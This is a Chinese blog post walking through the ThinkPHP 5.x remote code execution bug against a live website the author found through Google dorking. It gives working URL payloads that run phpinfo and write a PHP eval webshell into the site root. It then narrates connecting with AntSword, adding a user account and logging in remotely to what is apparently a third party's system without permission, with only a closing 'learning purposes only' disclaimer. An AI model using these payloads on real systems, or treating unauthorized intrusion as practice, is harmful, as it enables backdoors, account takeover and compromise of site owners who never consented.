前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞复现 | Thinkphp5.x远程代码执行漏洞了解一哈

漏洞复现 | Thinkphp5.x远程代码执行漏洞了解一哈

作者头像
TeamsSix
发布于 2019-09-24 10:14:57
发布于 2019-09-24 10:14:57
1.4K00
代码可运行
举报
运行总次数:0
代码可运行

0、序

晚上闲来无事,复习不想复习,看书看不进去,打开电脑也不知道要干啥,索性就找个漏洞玩吧,下午正好注册了一个在线靶场环境,其中有个Think PHP5.0吸引了我,因为在12月9号这个漏洞爆出来的时候当时一度尝试复现这个漏洞都没有成功,最后就不了了之,so 那就打开看看吧。

说实话,这个界面是真的好看,而且流畅度也很不错,比某亚的要好的太多,尽管如此,做着做着也就没啥意思了,那为什么不去网上找找呢,权当练练手,而且之前一直没有成功,那就让我们先找到存在漏洞的目标。

1、Google Hacking

利用Google Hacking很轻松便可以找到一些使用ThinkPHP框架的网站,但并不是每个都存在这个远程命令执行的漏洞,在找寻验证了一番后终于找到了一个,哈哈。

2、POC验证

对目标执行下面POC如果出现phpinfo页面便可以说明存在漏洞了,不过还需要根据目标情况来判断使用哪个POC,反正多尝试几个,下面的POC是我尝试成功的一个。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3、写入木马

确定存在漏洞后便可以对其写入一句话啦,下面的POC可以在目标系统网站根目录下写入内容为<?php eval($_POST[test]);?>的test.php文件,接着就可以直接用蚁剑连接了,尝试了好几个一句话,这个是成功的一个。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php eval($_POST[test]);?>

4、对目标进行添加管理员账号

连上虚拟终端后,便可以对其新建管理员用户了,不过感觉蚁剑是真的慢,好在能连上,试了一下菜刀,连都连不上。下面添加了一个ADMlN用户,不过貌似提升为管理员用户的命令没有成功被执行。

5、远程登陆

利用自己创建的用户名对其远程登陆,就像下面这样:

OK,连接成功

6、总结:

整体过程中碰到最大的问题就是蚁剑有点不给力,总觉着有时它会掉线,这次渗透测试也是给自己练练手,也可以说是碰巧找到一个比较弱的系统,然后才比较顺利,最后也是提醒各位网站管理员,一定要检查一下自己的网站是不是存在含有漏洞的组件。


严禁将本文内容用于犯罪目的,本文仅用作学习目的,另外由于本人水平有限,文中出现问题在所难免,还请各位看官见谅。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
WebSocket降级策略(二)
把messageCache修改为更松散的key-value的结构,并且不再限定value的类型。
4cos90
2022/08/07
3740
WebSocket降级策略(一)
项目上前后端采用websocket通信,但是websocket连接经常会断开,虽然有重连机制,但是在重连的过程中,以及重连失败时,会影响前端数据的即时刷新。我们也不可能每次一出现问题就要求用户重启浏览器。因此需要设计一个websocket降级方案。
4cos90
2022/08/04
9320
我为什么放弃Go语言?
👉腾小云导读 你在什么时候会产生“想要放弃用 Go 语言”的念头?也许是在用 Go 开发过程中,接连不断踩坑的时候。本文作者提炼和总结《100 Go Mistakes and How to Avoid Them》里的精华内容,并结合自身的工作经验,盘点了 Go 的常见典型错误,撰写了这篇超全避坑指南。让我们跟随文章,一起重拾用 Go 的信心~ 👉目录 1 注意 shadow 变量 2 慎用 init 函数 3 embed types 优缺点 4 Functional Options Pattern 传递参数
腾讯云开发者
2023/06/06
1.8K0
我为什么放弃Go语言?
client-go 之 DeltaFIFO 实现原理
前文我们讲到 Reflector 中通过 ListAndWatch 获取到数据后传入到了本地的存储中,也就是 DeltaFIFO 中。从 DeltaFIFO 的名字可以看出它是一个 FIFO,也就是一个先进先出的队列,而 Delta 表示的是变化的资源对象存储,包含操作资源对象的类型和数据,Reflector 就是这个队列的生产者。
我是阳明
2020/09/04
2.9K0
Codis源码分析之Slots迁移异步篇
前面分析了Codis关于Slots迁移同步整体内容及同步迁移的一些分析:Codis源码分析之Slots迁移篇,再回顾同步迁移的逻辑:
心平气和
2020/12/30
1.2K0
Codis源码分析之Slots迁移异步篇
聊聊storagetapper的cache
storagetapper的cache是一个cacheEntry的map,cacheEntry定义了Pipe和config.PipeConfig;CacheGet方法会获取cache,获取不到则Create;CacheDestroy则会通过加锁遍历cache,挨个执行pipe.Close()。
code4it
2021/03/05
2540
聊聊storagetapper的cache
曹大带我学 Go(10)—— 如何给 Go 提性能优化的 pr
之前 qcrao 写了一篇《成为 Go Contributor》 的文章,讲了如何给 Go 提一个 typo 的 pr,以此熟悉整个流程。当然,离真正的 Contributor 还差得远。
梦醒人间
2021/08/10
4800
基于redisgo的redis客户端的封装示例
redisgo是一款go语言的redis客户端库。 为了简化对redis的操作,可以使用redisgo对redis常用命令进行封装。 首先在Github上面创建一个仓库redisgoExample 然后git clone将项目克隆到本地,比如说我的阿里云CentOS8服务器下,
ccf19881030
2021/01/02
2K0
Golang工程经验(上)
作为一个C/C++的开发者而言,开启Golang语言开发之路是很容易的,从语法、语义上的理解到工程开发,都能够快速熟悉起来;相比C、C++,Golang语言更简洁,更容易写出高并发的服务后台系统
李海彬
2018/10/08
2K1
Golang工程经验(上)
给hash表分片:降低锁粒度,提高锁性能
锁就像漏斗,将并发处理的多个线程变成串行化的模式,我们可以构建一个支持成千上万并发的系统,但是如果锁处理的不好会严重影响系统的性能,就像拥有多条车道的高速公路变成了单行道。
浩成聊技术
2022/12/16
5510
给hash表分片:降低锁粒度,提高锁性能
海量日志实时收集系统架构设计与go语言实现
日志收集系统应该说是到达一定规模的公司的标配了,一个能满足业务需求、运维成本低、稳定的日志收集系统对于运维的同学和日志使用方的同学都是非常nice的。然而这时理想中的日志收集系统,现实往往不是这样的...本篇的主要内容是:首先吐槽一下公司以前的日志收集和上传;介绍新的实时日志收集系统架构;用go语言实现。澄清一下,并不是用go语言实现全部,比如用到卡夫卡肯定不能重写一个kafka吧...
用户1432189
2018/09/05
1.2K0
海量日志实时收集系统架构设计与go语言实现
Mutex和上厕所居然有这么多异曲同工之妙
死锁是指两个或两个以上的进程在执行过程中,由于竞争资源或者由于彼此通信而造成的一种阻塞的现象,若无外力作用,它们都将无法推进下去。此时称系统处于死锁状态或系统产生了死锁,这些永远在互相等待的进程称为死锁进程。
薯条的编程修养
2022/08/10
3730
Mutex和上厕所居然有这么多异曲同工之妙
一文读懂 SuperEdge 分布式健康检查 (边端)
杜杨浩,腾讯云高级工程师,热衷于开源、容器和Kubernetes。目前主要从事镜像仓库、Kubernetes集群高可用&备份还原,以及边缘计算相关研发工作。 前言 SuperEdge 介绍 SuperEdge 是基于原生 Kubernetes 的边缘容器管理系统。该系统把云原生能力扩展到边缘侧,很好的实现了云端对边缘端的管理和控制,极大简化了应用从云端部署到边缘端的过程。同时SuperEdge设计了分布式健康检查机制规避了云边网络不稳定造成的大量pod迁移和重建,保证了服务的稳定。 SuperEdge 分
腾讯云原生
2021/03/18
1.1K0
基于go使用redis实现简易排行榜功能
本文将使用golang实现两个可以通过postman调用的接口,一个为点击增加热度/播放量接口。一个为获取排行榜接口。为方便起见,将本文章接口将不涉及数据库联动,仅实现简单的ID、热度两个字段。
陈杪秋
2024/05/22
2390
Golang 需要避免踩的 50 个坑(三)
Go 是一门简单有趣的编程语言,与其他语言一样,在使用时不免会遇到很多坑,不过它们大多不是 Go 本身的设计缺陷。如果你刚从其他语言转到 Go,那这篇文章里的坑多半会踩到。
aoho求索
2019/03/07
3.3K0
Go 模式
这是一种很常见的模式,但是在 golang 中,这种模式能够提供更多有用/高级的选项。比如 我们可以定义三种消费者:第一种,生产者生产的消息会阻塞,等所有消费者都消费完,第二种,生产者不等消费者,生产完消息就返回,消费者异步消费;第三种,消费者并行消费,生产者等所有消费者都消费完再返回。
王磊-字节跳动
2021/08/21
1.3K0
flea-cache使用之Memcached接入
spring-context-support-4.3.18.RELEASE.jar
huazie
2024/10/11
1870
flea-cache使用之Memcached接入
使用Go设计多缓存驱动
Gocache是一个基于Go语言编写的多存储驱动的缓存扩展组件。它为您带来了许多缓存数据的功能。
兔云小新LM
2022/11/21
1.2K0
使用Go设计多缓存驱动
Go 简单设计和实现可扩展、高性能的泛型本地缓存
相信大家对于缓存这个词都不陌生,但凡追求高性能的业务场景,一般都会使用缓存,它可以提高数据的检索速度,减少数据库的压力。缓存大体分为两类:本地缓存和分布式缓存(如 Redis)。本地缓存适用于单机环境下,而分布式缓存适用于分布式环境下。在实际的业务场景中,这两种缓存方式常常被结合使用,以利用各自的优势,实现高性能的数据读取。本文将会探讨如何极简设计并实现一个可扩展、高性能的本地缓存。
陈明勇
2024/01/16
70610
Go 简单设计和实现可扩展、高性能的泛型本地缓存
【K8s源码品读】009:Phase 1 - kube-scheduler - Informer监听资源变化
什么是Informer?这一节,我将先抛开代码,重点讲一下这个Informer,因为它是理解k8s运行机制的核心概念。
junedayday
2021/08/05
4760
相关推荐
WebSocket降级策略(二)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验